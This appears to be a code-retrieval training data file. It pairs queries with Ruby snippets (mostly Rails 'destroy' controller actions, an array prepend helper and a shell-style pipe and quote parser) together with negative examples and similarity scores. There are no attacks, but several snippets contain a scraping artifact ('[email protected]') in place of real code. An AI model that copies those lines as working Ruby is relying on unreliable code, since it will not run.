"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @client = Client.find(params[:id])\r\n @client.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to clients_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @client.destroy\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'Данные по клиенту удалены.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n chef_rest_v1.delete(\"clients/#{@name}\")\n end",
"def destroy\n @client.destroy\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'Client a été supprimer.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_client = ApiClient.find(params[:id])\n @api_client.destroy\n\n respond_to do |format|\n format.html { redirect_to api_clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n authorize! :update, @client\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @client.destroy\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'El Cliente fue Eliminado Exitosamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n \n respond_to do |format|\n format.html { redirect_to clients_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @qa_client = QaClient.find(params[:id])\n @qa_client.destroy\n\n respond_to do |format|\n format.html { redirect_to qa_clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n @uuid = params[:uuid]\n respond_to do |format|\n format.html { redirect_to :controller => 'ads', :action => 'admin_dash', :id => 1, :uuid => @uuid }\n format.json { head :no_content }\n end\n end",
"def destroy\n @secubat_client = SecubatClient.find(params[:id])\n @secubat_client.destroy\n\n respond_to do |format|\n format.html { redirect_to secubat_clients_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @client.destroy\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'Client record was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n \n if @client.deleted_at.blank?\n @client.destroy\n else\n @client.revive\n end\n \n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :ok }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to(clients_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @client.destroy\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'Cliente apagado com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to(clients_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to(clients_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to(clients_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @client.destroy\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'Cliente excluído com sucesso!' }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize @client\n @client.destroy\n respond_to do |format|\n format.html { redirect_back_or_default clients_url, t('Record has been deleted') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client_info.destroy\n respond_to do |format|\n format.html { redirect_to client_infos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client_info.destroy\n respond_to do |format|\n format.html { redirect_to client_infos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n client=Client.find_by_id(params[:id])\n if client != nil\n if client.destroy\n head 204\n end\n else\n head 404\n end\n end",
"def destroy\n @client.destroy\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'Client was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client.destroy\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'Client was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client.destroy\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'Client was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client.destroy\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'Client was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client.destroy\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'Client was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client.destroy\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'Client was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client.destroy\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'Client was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'Client was successfully destroyed.' }\n\n format.json { head :no_content }\n end\n end",
"def destroy\n @client.destroy\n respond_to do |format|\n format.html { redirect_to clients_url, notice: \"Client was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to(clients_url) }\n end\n end",
"def destroy\n @otg_client.destroy\n respond_to do |format|\n format.html { redirect_to otg_clients_url, notice: 'Otg client was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n clients_delete(@entity)\n @entity.destroy\n respond_to do |format|\n format.html { redirect_to clients_path }\n format.json { render json: {success: true} }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n respond_with(@client)\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n redirect_to clients_url\n end",
"def destroy\n @client = clients.find(params[:id])\n @client.destroy\n redirect_to(user_company_clients_url(current_company))\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @live_client.destroy\n respond_to do |format|\n format.html { redirect_to live_clients_url, notice: 'Live client was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @group_client.destroy\n respond_to do |format|\n format.html { redirect_to group_clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = current_user\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_path(@user) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @client.delete(@name)\n end",
"def destroy\n @client_need = ClientNeed.find(params[:id])\n @client_need.destroy\n\n respond_to do |format|\n format.html { redirect_to client_needs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client.delete( name )\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n @clients = get_clients\n @client = Client.new\n\n respond_to do |format|\n #format.html { redirect_to clients_url }\n format.json { head :no_content }\n format.js\n end\n end",
"def destroy\n @client.destroy\n respond_to do |format|\n format.html { redirect_to admin_clients_url(search: params[:search], page: params[:page]),\n notice: 'Клиент удален.' }\n format.json { head :no_content }\n end\n end",
"def delete(client_id)\n id = client_id.to_s\n Client.collection.filter(:id => id).delete\n AuthRequest.collection.filter(:client_id => id).delete\n AccessGrant.collection.filter(:client_id => id).delete\n AccessToken.collection.filter(:client_id => id).delete\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n @company_client.destroy\n respond_to do |format|\n format.html { redirect_to company_clients_url, notice: 'Клиент был успешно удален' }\n format.json { head :no_content }\n end\n end",
"def destroy\n [email protected]\n end",
"def destroy\n @storage = @client.storages.find(params[:id])\n @storage.destroy\n\n respond_to do |format|\n format.html { redirect_to client_url(@client) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client_asset = ClientAsset.find(params[:id])\n client_name = @client_asset.client_name\n @client_asset.deleted = true\n @client_asset.deleted_at = Time.now\n @client_asset.save\n #@client_asset.destroy\n\n respond_to do |format|\n format.html { redirect_to client_assets_url, notice: \"#{client_name}'s asset was successfully deleted.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.campaign_id = session[:campaign_id]\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @oauth_client = OauthClient.find(params[:id])\n @oauth_client.destroy\n\n respond_to do |format|\n format.html { redirect_to oauth_clients_url }\n format.json { head :no_content }\n format.xml { head :no_content }\n end\n end",
"def destroy\n @clientes_servico.destroy\n respond_to do |format|\n format.html { redirect_to clientes_servicos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :no_content }\n end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @client = Client.find params[:id]\n @client.destroy\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'Cliente fue Eliminado correctamente.' }\n end\n end",
"def destroy\n @evclient = Evclient.find(params[:id])\n @evclient.destroy\n\n respond_to do |format|\n format.html { redirect_to evclients_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @client.destroy\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'Cliente foi excluido.' }\n format.json { head :no_content }\n sweetalert_success('Cliente excluido com sucesso.', 'Sucesso!', useRejections: false)\n end\n end",
"def destroy\n @client_type = ClientType.find(params[:id])\n @client_type.destroy\n\n respond_to do |format|\n format.html { redirect_to client_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client.destroy\n redirect_to index_clients_path, notice: 'Client was successfully destroyed.'\n end",
"def destroy\n\n\tif signed_in?\n\t\tif current_user.username == 'admin'\n\t\t\t@client = Client.find(params[:id])\n\t\t\[email protected]\n\t\telse\n\t\t\tredirect_to home_path\n\t\tend\n\telse\n\t\tredirect_to signin_path\n\tend\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @clientz.destroy\n respond_to do |format|\n format.html { redirect_to clientzs_url, notice: 'Clientz was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @featured_client.destroy\n respond_to do |format|\n format.html { redirect_to featured_clients_url, notice: 'Featured client was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client_type.destroy\n respond_to do |format|\n format.html { redirect_to client_types_url, notice: 'Tipo de Cliente deletado.' }\n format.json { head :no_content }\n end\n end",
"def delete_client\n\t\t@client = Client.find(params[:id])\n\n\t\tif @client.destroy\n\t\t\tredirect_to \"/details\"\n\t\telse\n\t\t\treder :action => \"delete_client\"\n\t\tend\n\tend",
"def destroy\n if current_admin.present?\n @client = Client.friendly.find(params[:id])\n @client.destroy\n respond_to do |format|\n format.html { redirect_to admins_url }\n format.json { head :no_content }\n end\n else\n redirect_to new_admin_session_path and return\n end \n end",
"def destroy\n id = shift_argument || raise(Heroku::Command::CommandFailed, \"Usage: clients:destroy [ID]\")\n client = request do\n api.request(\n :expects => 200,\n :headers => headers,\n :method => :delete,\n :path => \"/oauth/clients/#{CGI.escape(id)}\"\n ).body\n end\n puts \"Deregistered client '#{client[\"name\"]}'.\"\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @clientsOffers = ClientsOffers.find(params[:id])\n @clientsOffers.destroy\n\n respond_to do |format|\n format.html { redirect_to clientsOffers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @blocking_client = BlockingClient.find(params[:id])\n @blocking_client.destroy\n\n respond_to do |format|\n format.html { redirect_to blocking_clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @authorized_client.destroy\n respond_to do |format|\n format.html {redirect_to authorized_clients_url, notice: 'Authorized client was successfully destroyed.'}\n format.json {head :no_content}\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n Client.transaction do\n FileUtils.rm Dir[\"#{Rails.root}/public/files/logo_files/\"[email protected]_s]\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'Client was successfully deleted.' }\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n @player_client = PlayerClient.find(params[:id])\n @player_client.destroy\n\n respond_to do |format|\n format.html { redirect_to player_clients_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @client_doc.destroy\n respond_to do |format|\n format.html { redirect_to client_docs_url, notice: 'Client doc was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @potential_client.destroy\n respond_to do |format|\n format.html { redirect_to potential_clients_url, notice: 'Potential client was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] |
[
"0.73764867",
"0.7333829",
"0.73230195",
"0.73230195",
"0.73230195",
"0.73230195",
"0.73230195",
"0.73230195",
"0.73230195",
"0.73230195",
"0.73230195",
"0.7316281",
"0.7316281",
"0.73153675",
"0.7286203",
"0.726902",
"0.725696",
"0.72260314",
"0.72128206",
"0.72024894",
"0.7177661",
"0.716522",
"0.71533877",
"0.7148371",
"0.7144743",
"0.71253216",
"0.71122855",
"0.71101665",
"0.7107158",
"0.70979065",
"0.7094226",
"0.7094226",
"0.70939237",
"0.7087187",
"0.70744294",
"0.7073574",
"0.7073226",
"0.7062311",
"0.70622665",
"0.70622665",
"0.70622665",
"0.70622665",
"0.70622665",
"0.70622665",
"0.70622665",
"0.70621455",
"0.70605177",
"0.70601493",
"0.70597076",
"0.69613844",
"0.69612116",
"0.69253784",
"0.69168234",
"0.6906055",
"0.68937033",
"0.689248",
"0.6891877",
"0.6864584",
"0.68613017",
"0.68601185",
"0.68491507",
"0.6830483",
"0.6829242",
"0.6825999",
"0.68257517",
"0.68165904",
"0.6812717",
"0.6801048",
"0.67933303",
"0.6786814",
"0.6777265",
"0.67747486",
"0.6771397",
"0.6771282",
"0.6771282",
"0.6771282",
"0.6765744",
"0.67445093",
"0.6740177",
"0.67211777",
"0.6720278",
"0.6706087",
"0.6696872",
"0.6691208",
"0.6686507",
"0.66864485",
"0.66843283",
"0.66828483",
"0.6682091",
"0.6679149",
"0.6679149",
"0.6679149",
"0.6679149",
"0.667843",
"0.66769856",
"0.6671818",
"0.6669197",
"0.6666911",
"0.66667753",
"0.6652673"
] |
0.78170395
|
0
|
arr The original array num The integer that will be placed at the beginning of the new array Examples prepend([1,2,3],4) => [4,1,2,3] Returns a new array with the integer as the first element
|
def prepend(arr, num)
output = []
output << num
return output + arr
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def prepend(arr, num)\n new_arr = arr.insert(0, num)\n return new_arr\nend",
"def prepend(arr, num)\n return arr.unshift(num)\nend",
"def prepend(arr,num)\n return [num] + arr\nend",
"def prepend(arr, num)\n return arr.insert(0, num)\nend",
"def prepend(array, num)\noutput = []\noutput << num\noutput += array\nreturn output\nend",
"def prepend(number, array)\n return array.insert(0, number)\nend",
"def prepend(array, number)\n i = 0\n output = [number]\n while i < array.length\n output << array[i]\n i += 1\n end\n p output\n return output\nend",
"def using_unshift(arr, str)\n newArr = arr.unshift(str)\nend",
"def begin_arr_add(arr, element)\n # Add `element` to the beginning of the Array \n # variable `arr` and return `arr`\n arr.unshift(element)\n end",
"def rotate_array(arr, num)\n\tnum.times do\n toFront = arr.pop\n arr.unshift(toFront)\n end\n \treturn arr\nend",
"def rotate_array(arr, num)\r\n num.times do\r\n ele = arr.pop\r\n arr.unshift(ele)\r\n end\r\n\r\n return arr\r\nend",
"def rotate_array(arr, num)\n num.times do\n arr.unshift(arr.pop())\n end\n return arr\nend",
"def begin_arr_add(arr, element)\n # Add `element` to the beginning of the Array variable `arr` and return `arr`\n return arr.unshift(element)\nend",
"def rotate_array(arr, num)\n num.times do\n elem = arr.pop\n arr.unshift(elem)\n return arr\n end\nend",
"def add_element_to_beginning_of_array(array, element)\n\tn = [2, 3, 4, 5]\n\tn.unshift(1)\nend",
"def rotate_array(arr, num)\n num.times do\n value = arr.pop()\n arr.unshift(value)\n end\n return arr\nend",
"def unshift(val)\n @arr.unshift(val)\n end",
"def add_element_to_start_of_array(array, element)\n array.unshift(element) \nend",
"def add_element_to_start_of_array( array, element)\n return array.unshift(element)\nend",
"def add_element_to_start_of_array(array, element)\n array.unshift(element)\nend",
"def using_unshift(array, str)\n array.unshift(str)\nend",
"def rotate_array(arr, num)\n# \tloop num times\n for i in 0...num\n temp = arr.pop\n arr.unshift(temp)\n end\n return arr\nend",
"def add_element_to_beginning_of_array(array,element)\n array.unshift(element)\nend",
"def sort_array_asc int_arr\n new_arr = []\n int_arr.each {|integer| new_arr.unshift(integer)}\n new_arr\nend",
"def rotate_array(arr, num)\n \n removed = arr.pop(num)\n \n new_arr = removed += arr\n \n print new_arr\nend",
"def add_element_to_beginning_of_array(array, element)\n array.unshift(element)\nend",
"def add_element_to_beginning_of_array(array, element)\n array.unshift(element)\nend",
"def rotate_arr(arr)\n result_arr = arr.map{|num| num}\n result_arr << result_arr[0]\n result_arr.shift\n result_arr\nend",
"def rotate_array(arr, num)\n\n if num == 1\n arr.unshift(arr[-1])\n arr.pop\n end\n\n if num > 1\n\n i = 0\n while i < arr.length - num\n arr.push(arr[0])\n arr.shift\n i += 1 \n end \n end\n\n return arr\nend",
"def rotate_array(arr, num)\n num.abs.times do |i|\n if num < 0\n ele = arr.shift\n arr.push(ele)\n else\n ele = arr.pop \n arr.unshift(ele)\n end\n end\n arr\nend",
"def using_unshift(array,string)\n array.unshift(string)\nend",
"def using_unshift(array, string)\n array = array.unshift(string)\n \nend",
"def using_unshift(array, string)\n array.unshift(string)\nend",
"def rotate_array(arr1)\n arr2 = arr1.clone\n num = arr2.shift\n arr2.push(num)\nend",
"def add_element_to_beginning_of_array(array, element)\n array.insert(0, element)\nend",
"def rotate_array(arr)\nnew_arr = []\narr.each do |num|\nnew_arr << num\nend\t\nnew_arr << new_arr.shift\nend",
"def rotate_array(arr, num)\n j = 0\n max = num\n len = arr.length - 1\n\n while j < max\n arr.unshift(arr[len])\n arr.pop()\n j += 1\n end\n return arr\n\nend",
"def using_unshift(array, string)\n array.unshift(string)\nend",
"def using_unshift(array, string)\n array.unshift(string)\nend",
"def using_unshift(array, string)\n array.unshift(string)\nend",
"def using_unshift(array, string)\n array.unshift(string)\nend",
"def using_unshift(array, string)\n array.unshift(string)\nend",
"def using_unshift(array, string)\n array.unshift(string)\nend",
"def using_unshift(array, string)\n array.unshift(string)\nend",
"def using_unshift(array, string)\n array.unshift(string)\nend",
"def using_unshift (array, string)\n return array.unshift(string)\nend",
"def arrange_arr(arr)\n arr.shift\n arr\n end",
"def using_insert(arr, elem)\n arr.insert(4, elem)\nend",
"def rotate_array(arr)\n rotated = arr.clone\n rotated.insert(-1, rotated.shift)\nend",
"def add_num(num, arr = @numbers)\n @numbers << num if @numbers.empty?\n \n mid_idx = (arr.length-1)/2\n \n if num == arr[mid_idx]\n desired_idx = mid_idx\n elsif num < arr[mid_idx]\n desired_idx = self.add_num(num,arr[0...mid_idx])\n else\n right_search = self.add_num(num,arr[mid_idx+1..-1])\n desired_idx = right_search ? right_search + arr[0..mid_idx].length : 0\n end\n \n @numbers.insert(desired_idx,num)\n @length += 1\n end",
"def prepend(value)\n @array.unshift(Node.new(value,@array[0]))\n end",
"def \n \n using_unshift(array, string)\n \n \n array.unshift(string)\n \nend",
"def rotate_array(array, number)\n number.times{array.unshift(array.pop)}\n array\nend",
"def rotate_array(arr)\n arr2 = arr.dup\n first = arr2.shift\n arr2 << first\nend",
"def my_reverse(arr)\n new_arr = []\n arr.each {|i| new_arr.unshift(i) }\n new_arr\nend",
"def rotate_array(arr)\n new_arr = arr.dup\n new_arr.push(new_arr.shift)\nend",
"def rotate_array(arr)\n array = arr.dup\n array << array.shift\nend",
"def reverse(arr)\n new_arr = []\n arr.each do |element|\n new_arr.prepend(element)\n end\n new_arr\nend",
"def append(arr,num)\n return arr.push(num)\nend",
"def using_insert(array, element)\n array = array.insert(4, element)\n\n \nend",
"def using_insert(array, i)\n array.insert(4, i)\nend",
"def rotate_array(arr)\n results = arr.map { |n| n }\n results << results.shift\nend",
"def append(arr, number)\n arr << number\n return arr\nend",
"def shift arr\n arr.shift\n arr.push(0)\nend",
"def setArr(arr) #=> pierwsza funkcja przypisuje wartosc indeksu plus jeden dla kazdego elementu tablicy\n\n\t(0..arr.length-1).each do |i|\n\n\t\tarr[i] = i + 1\n\n\tend\n\nend",
"def rotate_array(arr, num)\n num.times do \n ele = arr.pop \n arr.unshif(ele)\n end\n return arr \nend",
"def rotate_array(arr)\n place_holder = arr.clone\n x = place_holder.slice!(0)\n place_holder.push(x)\nend",
"def rotate_array(arr)\n\tnew_arr = arr.dup\n\tlast = new_arr.shift\n\tnew_arr << last\nend",
"def rotate_array(arr)\n new_arr = arr.clone # avoid mutation\n first_element = new_arr.shift\n new_arr << first_element # could've called new_arr.shift here instead\n new_arr # later realized that this is redundant\nend",
"def array_1(array1)\n array1.shift\n array1.push(6)\n return array1\nend",
"def append(arr, num)\n return arr << num\nend",
"def append(arr, num)\n return arr << num\nend",
"def append(arr, num)\n return arr << num\nend",
"def rotate_array(arr)\n local_array = arr.clone\n local_array << local_array.shift\nend",
"def add_numbers(array)\n#add first in array to next in array. replace next in array\n#until array.length < 1\n return array[0] if array.length <= 1\n num1, num2 = array.pop, array.pop\n sum = num1.to_i + num2.to_i\n array.unshift(sum)\n add_numbers(array)\nend",
"def my_reverse(arr)\n new_arr = []\n arr.each { |ele| new_arr.unshift(ele) }\n new_arr\nend",
"def custom_first(arr,num=0)\n l = arr.length\n if num==0\n arr[0]\n else\n (num<l)? arr[0...num] : arr[0...l]\n end\nend",
"def start_arr_delete(arr)\n # delete the element at the beginning of the array and return the deleted element\n return arr.shift\nend",
"def create_copy(arr)\n copy = []\n arr.each { |e| copy.unshift(e) }\n copy\nend",
"def sort(num_array)\r\n new_num_arr = num_array.each_with_object([]) { |num, arr|\r\n [*arr].each_with_index do |new_arr_num, index|\r\n if arr[0] > num\r\n arr.prepend(num)\r\n elsif arr[index + 1].nil?\r\n arr.push(num)\r\n elsif num >= new_arr_num && num < arr[index + 1]\r\n arr.insert(index + 1, num)\r\n break\r\n end\r\n end\r\n if arr.empty?\r\n arr.push(num)\r\n end\r\n }\r\n return new_num_arr\r\nend",
"def rotate_array(arr)\n arr_copy = arr.dup\n arr_copy << arr_copy.shift\nend",
"def reposition(arr, from, to)\n arr.insert(to, arr.delete_at(from))\n end",
"def rotate_array(arr)\n arr[1...arr.size] + [arr[0]]\nend",
"def rotate_array(arr)\n arr[1...arr.size] + [arr[0]]\nend",
"def rotate_array(arr)\n new_arr = arr.clone\n new_arr << new_arr.shift\n new_arr\nend",
"def using_insert (array, element)\n return array.insert(4, element)\nend",
"def using_insert(array, element)\n array.insert(4, element)\n end",
"def using_insert(array, element)\n \n array.insert(4, element)\n \nend",
"def rotate_array(arr)\n\narr_new = arr.clone\narr_new.push(arr_new[0]).shift\narr_new\nend",
"def using_insert(array, element)\n array.insert(4, element)\nend",
"def using_insert(array, element)\n array.insert(4, element)\nend",
"def using_insert(array, element)\n array.insert(4, element)\nend",
"def using_insert(array, element)\n array.insert(4, element)\nend",
"def using_insert(array, element)\n array.insert(4, element)\nend",
"def using_insert(array,element)\n array.insert(4,element)\n end",
"def rotate_array(arr)\n rotated_arr = arr.dup\n\n rotated_arr.push(rotated_arr.shift)\nend",
"def add_num(num)\n @array.insert(get_index(num), num)\n end",
"def unshift(val)\n if @length < @array.length\n (@length - 1).downto(0) do |i|\n @array[i + 1] = @array[i]\n end\n @array[0] = val\n @length += 1\n @last += 1\n elsif @length <= 0\n raise(\"index out of bounds\")\n else\n new_array = StaticArray.new(@array.lengt * 2)\n new_array[0] = val\n for i in 0..(@length - 1)\n new_array[i + 1] = @array[i]\n end\n @array = new_array\n @length += 1\n @last += 1\n end\n end",
"def using_unshift(array, string)\n new_neighborhood = string\n array.unshift(new_neighborhood)\n \nend",
"def reverse(arr)\n\nnew_arr = []\n\n arr.each do |element|\n new_arr.unshift(element)\n end\n new_arr\n\nend"
] |
[
"0.81901723",
"0.7976083",
"0.79415953",
"0.7890589",
"0.7455889",
"0.7368295",
"0.68410224",
"0.6773811",
"0.6723409",
"0.67009735",
"0.663017",
"0.66265506",
"0.66227716",
"0.6613988",
"0.65757185",
"0.6573393",
"0.6550737",
"0.64812493",
"0.6470903",
"0.64467275",
"0.643698",
"0.6426273",
"0.63797426",
"0.63440394",
"0.63128275",
"0.62896305",
"0.62669927",
"0.62530494",
"0.6219504",
"0.617862",
"0.6145748",
"0.613519",
"0.6103188",
"0.6102218",
"0.6101949",
"0.6100148",
"0.60649616",
"0.60643977",
"0.60643977",
"0.60643977",
"0.60643977",
"0.60643977",
"0.60643977",
"0.60643977",
"0.60643977",
"0.6009702",
"0.5984547",
"0.59293646",
"0.5926812",
"0.592416",
"0.5893169",
"0.5885437",
"0.5878773",
"0.58556753",
"0.5852524",
"0.5802833",
"0.5784616",
"0.57817507",
"0.57753146",
"0.5765453",
"0.57619286",
"0.57591486",
"0.5749146",
"0.5745611",
"0.573524",
"0.5729405",
"0.5721503",
"0.5714232",
"0.57103384",
"0.57011986",
"0.5688101",
"0.5688101",
"0.5688101",
"0.5679148",
"0.5676401",
"0.5668669",
"0.56475097",
"0.56463957",
"0.5642476",
"0.56277037",
"0.5626392",
"0.56163925",
"0.56138456",
"0.56138456",
"0.5611555",
"0.5610276",
"0.5608099",
"0.55991465",
"0.5586106",
"0.5583344",
"0.5583344",
"0.5583344",
"0.5583344",
"0.5583344",
"0.55820113",
"0.55729866",
"0.55721384",
"0.5570787",
"0.55704826",
"0.55615747"
] |
0.7909119
|
3
|
Poorman's command line parsing Return [true, 1] if the parsing succeeds, or [false, pos] otherwise, where pos indicates the position in the command string that causes the failure
|
def parse_pipe_and_quote(cmd_str, &block)
cmds = []
# Splitted command and a certain piece of it
cmd, arg = [], ''
# Whether we're inside quotes
in_single_quote = false
in_double_quote = false
# Whether we're scanning escape sequence
escaped = false
# If the last non-space character is an active pipe
active_pipe = false
(0 ... cmd_str.length).each do |i|
case cmd_str[i]
when ' '
# Preserve spaces inside quotes
if in_single_quote || in_double_quote
arg += ' '
next
end
# Or we've splitted a new piece
if arg.length > 0
cmd.push(arg)
arg = ''
active_pipe = false
end
when '|'
# Complain if we have a pipe before
return [false, i] if active_pipe
# Preserve pipes inside quotes
if in_single_quote || in_double_quote
arg += cmd_str[i]
active_pipe = false
else
# Or we have a new piece before the pipe
cmd.push(arg) if arg.length > 0
# Yay!
if block_given?
yield cmd
else
cmds.push(cmd)
end
cmd = []
arg = ''
active_pipe = true
end
when "'"
# Treat the single quote as it is if it's escaped
# or we're inside double quotes
if escaped || in_double_quote
arg += cmd_str[i]
escaped = false if escaped
else
in_single_quote = !in_single_quote
end
active_pipe = false
when '"'
# Treat the double quote as it is if it's escaped
# or we're inside single quotes
if escaped || in_single_quote
arg += cmd_str[i]
escaped = false if escaped
else
in_double_quote = !in_double_quote
end
active_pipe = false
when '\\'
# Treat escape sequence as it is if we're inside single quotes
if escaped || in_single_quote
arg += '\\'
escaped = false if escaped
else
# Complain if there's nothing afterwards
return [false, i] if i + 1 >= cmd_str.length
# We are now ready for the escape sequence
escaped = true
end
active_pipe = false
else
# Turn \n, \t, \r to themselves
if escaped
arg += cmd_str[i] == 'n' ? "\n" :
cmd_str[i] == 't' ? "\t" :
cmd_str[i] == 'r' ? "\r" : cmd_str[i]
escaped = false
else
arg += cmd_str[i]
end
active_pipe = false
end
end
# Complain if we've exhausted the command string
# but ended up inside quotes
return [false, cmd_str.length] if in_single_quote ||
in_double_quote ||
active_pipe
# Collect the last splitted command
if arg.length > 0
cmd.push(arg)
if block_given?
yield cmd
else
cmds.push(cmd)
end
end
return cmds
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def parse(args)\n true\n end",
